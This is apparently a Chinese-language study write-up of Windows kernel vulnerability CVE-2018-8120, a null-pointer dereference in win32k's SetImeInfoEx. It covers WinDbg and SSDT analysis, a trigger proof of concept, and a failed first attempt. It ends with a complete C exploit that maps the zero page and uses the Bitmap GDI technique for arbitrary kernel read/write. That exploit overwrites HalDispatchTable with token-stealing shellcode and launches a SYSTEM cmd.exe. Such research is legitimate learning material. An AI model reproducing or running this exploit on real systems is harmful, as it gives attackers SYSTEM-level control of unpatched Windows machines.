Windows内核提权漏洞CVE-2018-8120分析
可在其中找受影响的版本复现,在受影响版本的系统中找到win32k.sys导入IDA。
配合api文档查函数
https://learn.microsoft.com/zh-cn/windows/win32/api/winuser/nf-winuser-getprocesswindowstation
windbg 双机调试
.reload/f win32k.sys,可以找到win32k.pdb文件,导入IDA后便能查看函数名。
漏洞函数位于win32k.sys的SetImeInfoEx()函数,该函数在使用一个内核对象的字段之前并没有进行是否为空的判断,当该值为空时,函数直接读取零地址内存。如果在当前进程环境中没有映射零页面,该函数将触发页面错误异常,导致系统蓝屏发生。
查看下tagWINDOWSTATION
dt win32k!tagWINDOWSTATION
spklList对象的结构为:
漏洞触发验证
查看SSDT表
dd KeServiceDescriptorTable
dds Address L11C 显示地址里面值指向的地址. 以4个字节显示。
dd nt!KeServiceDescriptorTableShadow
dds bf999b80 L0000029b
函数的索引号:(bf999bb4 - bf999b80)/4 = 0x34/0x4 = 0xD = 13
直接使用PChunter。
#include#include#include DWORD gSyscalIndex = 0x1226;_declspec(naked)void NtUserSetImeInfoEx(PVOID argv1) { _asm { mov esi, argv1; mov eax, gSyscalIndex; //系统调用服务号 mov edx, 0x7FFE0300; //ntdll.KiFastSystemCall快速系统调用 call DWORD ptr[edx]; ret 4; }}int main() { HWINSTA hSta = CreateWindowStation(0, 0, READ_CONTROL, 0); SetProcessWindowStation(hSta); char ime[0x800]; NtUserSetImeInfoEx((PVOID)&ime); return 0;}
windbg捕获到的正是SetImeInfoEx()中针对pWindowStation->spklList字段进行内存访问的代码。
已知漏洞产生的原因是零地址内存访问违例,如果在漏洞函数运行的进程中,零地址处的内存分页完成映射,则函数将继续执行。下面继续看看函数如果继续运行,会发生什么情况。
漏洞产生函数后续执行过程中会执行内存拷贝,且拷贝源来自于参数2,属于用户可控内容。如果拷贝目标v4可控,则可以实现任意内存地址写入(且漏洞函数运行在内核权限,内核空间与用户空间内存均有权限读写)。至此,如果可以实现任意内存地址写入,则可以通过覆盖系统服务函数指针的方式,实现任意代码执行。
HEVD中的空指针解引用用例,使用NtAllocateVirtualMemory映射零地址分页的内存。
https://blog.csdn.net/qq_38025365/article/details/106176472?spm=1001.2014.3001.5502
HEVD中的任意地址写用例,覆盖ntoskrnl!HalDispatchTable表中第二项的hal!HaliQuerySystemInformation()函数指针,NtQueryIntervalProfile()函数在运行过程中会从HalDispatchTable表中调用该函数。使得用户程序在调用系统函数NtQueryIntervalProfile()的时候,执行由应用程序设定的ShellCode。
https://bbs.pediy.com/thread-225176.htm
#include#include DWORD gSyscalIndex = 0x1226;_declspec(naked)void NtUserSetImeInfoEx(PVOID argv1) { _asm { mov esi, argv1; mov eax, gSyscalIndex; //系统调用服务号 mov edx, 0x7FFE0300; //ntdll.KiFastSystemCall快速系统调用 call DWORD ptr[edx]; ret 4; }}typedef NTSTATUS(WINAPI* My_NtAllocateVirtualMemory)( IN HANDLE ProcessHandle, IN OUT PVOID* BaseAddress, IN ULONG ZeroBits, IN OUT PULONG RegionSize, IN ULONG AllocationType, IN ULONG Protect ); My_NtAllocateVirtualMemory NtAllocateVirtualMemory = NULL; int main() { HWINSTA hSta = CreateWindowStation(0, 0, READ_CONTROL, 0); SetProcessWindowStation(hSta); char ime[0x800]; *(FARPROC*)&NtAllocateVirtualMemory = GetProcAddress( GetModuleHandleW(L"ntdll"), "NtAllocateVirtualMemory"); if (NtAllocateVirtualMemory == NULL) { printf("[+]Failed to get function NtAllocateVirtualMemory!!!"); system("pause"); return; } PVOID Zero_addr = (PVOID)0x100; SIZE_T RegionSize = 0x1000; printf("[+]Started to alloc zero page..."); if (!NT_SUCCESS(NtAllocateVirtualMemory( INVALID_HANDLE_VALUE, &Zero_addr, 0, &RegionSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE)) || Zero_addr != NULL) { printf("[+]Failed to alloc zero page!"); system("pause"); return; } printf("[+]Success to alloc zero page..."); printf("申请到的地址是 0x%p", Zero_addr); PBYTE pt = (PBYTE)Zero_addr; *(PDWORD)(pt + 0x14) = (DWORD)0x12345678; *(PDWORD)(ime) = (DWORD)0x12345678; *(PDWORD)(pt + 0x2C) = (DWORD)0x83d2b3fc; //HalDispatchTable+0x4 NtUserSetImeInfoEx((PVOID)&ime); return 0;}
上诉方法利用失败,函数指针目标地址,无法通过漏洞函数的第二个判断
用户态程序使用CreateBitmap函数创建得到的Bitmap对象的成员结构中,有存在于内核空间中的成员指针变量pvScan0,而该指针变量可以在用户态下,通过调用GetBitmaps以及SetBitmaps方法,对pvScan0指向的内存地址进行读取和写入。
Bitmap GDI技术参考:
https://www.anquanke.com/post/id/247764#h2-0
https://xz.aliyun.com/t/8667
// 创建BitmapHBITMAP CreateBitmap( int nWidth, int nHeight, UINT nPlanes, UINT nBitCount, const VOID *lpBits); // 将bitmap bits拷贝到指定缓冲区LONG GetBitmapBits( HBITMAP hbit, LONG cb, LPVOID lpvBits); // 设置bitmap的bitsLONG SetBitmapBits( HBITMAP hbm, DWORD cb, const VOID *pvBits);
CreateBitMap创建的结构SURFACE OBJECT。
当程序调用了CreateBitmap方法后,程序的进程环境控制块(PEB)中的GdiSharedHandleTable表便增加了一个索引,该索引对象的结构为:
typedef struct _GDICELL{ LPVOID pKernelAddress; USHORT wProcessId; USHORT wCount; USHORT wUpper; USHORT wType; LPVOID pUserAddress;} GDICELL;
pKernelAddress泄露了Bitmap对象的内核地址,再看pKernelAddress指向的数据结构:
typedefstruct {BASEOBJECT BaseObject; //0x00SURFOBJ SurOBJ; //0x18} typedef struct _BASEOBJECT { HANDLE hHmgr; 0x04 PVOID pEntry; 0x08 LONG cExclusiveLock; 0x0d PW32THREAD Tid;0x10} BASEOBJECT, *POBJ; typedef struct _SURFOBJ { DHSURF dhsurf; 0x04 HSURF hsurf; 0x08 DHPDEV dhpdev; 0x09 HDEV hdev; 0x0a SIZEL sizlBitmap; 0x0e ULONG cjBits; 0x12 PVOID pvBits; 0x16 PVOID pvScan0; 0x20 LONG lDelta; 0x24 ULONG iUniq; 0x28 ULONG iBitmapFormat; 0x2c USHORT iType; 0x2e USHORT fjBitmap; 0x30} SURFOBJ
gdiCell_Addr = PEB.GdiSharedHandleObejct + (hMgr & 0xffff) * sizeof(GDICELL)pvScan0_Offset = pKernelAddress + 0x10 + 0x1cpvScan0 = *( PEB.GdiSharedHandleObejct + (hMgr & 0xffff) * sizeof(GDICELL)) + 0x2C;
在32位系统下,通过GDICELL->pKernelAddress + 0x30(在64位系统下是0x50,具体计算成员变量指针所占字节),即可得到指向pvScan0指针的偏移量。
(1) 创建2个bitmaps(Manager/Worker)。
(2) 使用CreateBitMap返回的handle获取pvScan0的地址。
(3) 使用任意地址写漏洞将Worker的pvScan0地址写入Manager的PvScan0(作为Value)。
(4) 对Manager使用SetBitmapBits ,也就是改写Woker的pvScan0的Value为读/写的任意地址。
(5) 对Worker使用GetBitmapBits/SetBitmapBits,以对第四步设置的地址任意读写!
#include#include#include#include #define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)typedef NTSTATUS(WINAPI* NtQueryIntervalProfile_t)( IN ULONG ProfileSource, OUT PULONG Interval ); typedef NTSTATUS(WINAPI* My_NtAllocateVirtualMemory)( IN HANDLE ProcessHandle, IN OUT PVOID* BaseAddress, IN ULONG ZeroBits, IN OUT PULONG RegionSize, IN ULONG AllocationType, IN ULONG Protect );My_NtAllocateVirtualMemory NtAllocateVirtualMemory = NULL; //申请0页内存void getZeroMemory() { PVOID Zero_addr = (PVOID)1; SIZE_T RegionSize = 0x1000; *(FARPROC*)&NtAllocateVirtualMemory = GetProcAddress( GetModuleHandleW(L"ntdll"), "NtAllocateVirtualMemory"); if (NtAllocateVirtualMemory == NULL) { printf("[+]Failed to get function NtAllocateVirtualMemory!!!"); system("pause"); } if (!NT_SUCCESS(NtAllocateVirtualMemory( INVALID_HANDLE_VALUE, &Zero_addr, 0, &RegionSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE)) || Zero_addr != NULL) { printf("[+]Failed to alloc zero page!"); system("pause"); } printf("[+]Success to alloc zero page...");}__declspec(naked) VOID ShellCode(){ _asm { pushad mov eax, fs: [124h] // 找到当前线程的_KTHREAD结构 mov eax, [eax + 0x50] // 找到_EPROCESS结构 mov ecx, eax mov edx, 4 // edx = system PID(4) // 循环是为了获取system的_EPROCESS find_sys_pid : mov eax, [eax + 0xb8] // 找到进程活动链表 sub eax, 0xb8 // 链表遍历 cmp[eax + 0xb4], edx // 根据PID判断是否为SYSTEM jnz find_sys_pid // 替换Token mov edx, [eax + 0xf8] mov[ecx + 0xf8], edx popad xor eax, eax ret }}static VOID CreateCmd(){ STARTUPINFO si = { sizeof(si) }; PROCESS_INFORMATION pi = { 0 }; si.dwFlags = STARTF_USESHOWWINDOW; si.wShowWindow = SW_SHOW; WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" }; BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)&si, &pi); if (bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess);} //获取ntkrnlpa.exe 在 kernel mode 中的基地址LPVOID NtkrnlpaBase(){ LPVOID lpImageBase[1024]; DWORD lpcbNeeded; CHAR lpfileName[1024]; EnumDeviceDrivers(lpImageBase, sizeof(lpImageBase), &lpcbNeeded); for (int i = 0; i < 1024; i++) { GetDeviceDriverBaseNameA(lpImageBase[i], lpfileName, 48); if (!strcmp(lpfileName, "ntkrnlpa.exe")) { printf("[+]success to get %s", lpfileName); return lpImageBase[i]; } } return NULL;} DWORD32 GetHalOffset_4(){ // 获取ntkrnlpa.exe运行时基址 PVOID pNtkrnlpaBase = NtkrnlpaBase(); printf("[+]ntkrnlpa base address is 0x%p", pNtkrnlpaBase); // 获取用户态加载ntkrnlpa.exe的地址 HMODULE hUserSpaceBase = LoadLibrary("ntkrnlpa.exe"); // 获取用户态中HalDispatchTable的地址 PVOID pUserSpaceAddress = GetProcAddress(hUserSpaceBase, "HalDispatchTable"); // 由ntkrnlpa.exe运行时基址加上HalDispatchTable偏移量,得到HalDispatchTable在内核空间中的地址,加上0x4偏移量 DWORD32 hal_4 = (DWORD32)pNtkrnlpaBase + ((DWORD32)pUserSpaceAddress - (DWORD32)hUserSpaceBase) + 0x4; printf("[+]HalDispatchTable+0x4 is 0x%p", hal_4); return (DWORD32)hal_4;} //NtUserSetImeInfoEx()系统服务函数未导出,需要自己在用户进程中调用该系统服务函数,以执行漏洞函数SetImeInfoEx()。//其中SyscallIndex的计算,根据系统ShadowSSDT表导出序号计算。DWORD gSyscall = 0x1226;__declspec(naked) void NtUserSetImeInfoEx(PVOID tmp){ _asm { mov esi, tmp; mov eax, gSyscall; //系统调用符号 mov edx, 0x7FFE0300; // ntdll.KiFastSystemCall快速系统调用 call dword ptr[edx]; ret 4; }}DWORD getpeb(){ //在NT内核中,FS段为TEB,TEB偏移0x30处为PEB DWORD p = (DWORD)__readfsdword(0x18); p = *(DWORD*)((char*)p + 0x30); return p;}DWORD gTableOffset = 0x094;DWORD getgdi(){ return *(DWORD*)(getpeb() + gTableOffset);}DWORD gtable;typedef struct{ LPVOID pKernelAddress; USHORT wProcessId; USHORT wCount; USHORT wUpper; USHORT wType; LPVOID pUserAddress;} GDICELL;PVOID getpvscan0(HANDLE h){ if (!gtable) gtable = getgdi(); DWORD p = (gtable + LOWORD(h) * sizeof(GDICELL)) & 0x00000000ffffffff; GDICELL* c = (GDICELL*)p; return (char*)c->pKernelAddress + 0x30; } int main(){ //1. 创建bitmap对象 unsigned int bbuf[0x60] = { 0x90 }; HANDLE gManger = CreateBitmap(0x60, 1, 1, 32, bbuf); HANDLE gWorker = CreateBitmap(0x60, 1, 1, 32, bbuf); //2. 使用句柄查找GDICELL,计算pvScan0地址 PVOID mpv = getpvscan0(gManger); PVOID wpv = getpvscan0(gWorker); printf("[+] Get manager at 0x%p,worker at 0x%p", mpv, wpv); //使用漏洞将Worker的pvScan0偏移地址写入Manager的pvScan0值 // 新建一个新的窗口,新建的WindowStation对象其偏移0x14位置的spklList字段的值默认是零 HWINSTA hSta = CreateWindowStation( 0, //LPCSTR lpwinsta 0, //DWORD dwFlags READ_CONTROL, //ACCESS_MASK dwDesiredAccess 0 //LPSECURITY_ATTRIBUTES lpsa ); // 和窗口当前进程关联起来 SetProcessWindowStation(hSta); char buf[0x200]; RtlSecureZeroMemory(&buf, 0x200); PVOID* p = (PVOID*)&buf; p[0] = (PVOID)wpv; DWORD* pp = (DWORD*)&p[1]; pp[0] = 0x180; pp[1] = 0x1d95; pp[2] = 6; pp[3] = 0x10000; pp[5] = 0x4800200; //获取0页内存 getZeroMemory(); *(DWORD*)(0x2C) = (DWORD)(mpv); *(DWORD*)(0x14) = (DWORD)(wpv); // WindowStation->spklList字段为0,函数继续执行将触发漏洞 NtUserSetImeInfoEx((PVOID)&buf); PVOID pOrg = 0; DWORD haladdr = GetHalOffset_4(); PVOID oaddr = (PVOID)haladdr; PVOID sc = &ShellCode; SetBitmapBits((HBITMAP)gManger, sizeof(PVOID), &oaddr); //利用manager设置worker的可修改地址为hal函数 printf("[+]要覆盖的目标地址 0x%x", oaddr); GetBitmapBits((HBITMAP)gWorker, sizeof(PVOID), &pOrg);//获取可修改的地址 SetBitmapBits((HBITMAP)gWorker, sizeof(PVOID), &sc);//设置地址为shellcode printf("[+]覆盖完毕,准备执行Shellcode"); //触发shellcode NtQueryIntervalProfile_t NtQueryIntervalProfile = (NtQueryIntervalProfile_t)GetProcAddress(LoadLibraryA("ntdll.dll"), "NtQueryIntervalProfile"); printf("[+]NtQueryIntervalProfile address is 0x%x", NtQueryIntervalProfile); DWORD interVal = 0; NtQueryIntervalProfile(0x1337, &interVal); //收尾 SetBitmapBits((HBITMAP)gWorker, sizeof(PVOID), &pOrg); CreateCmd(); return 0;}
不同版本的exp还没完全看懂。
其中alphalab中win32版本的exp提出来,有些地方对不上,感觉很奇怪。
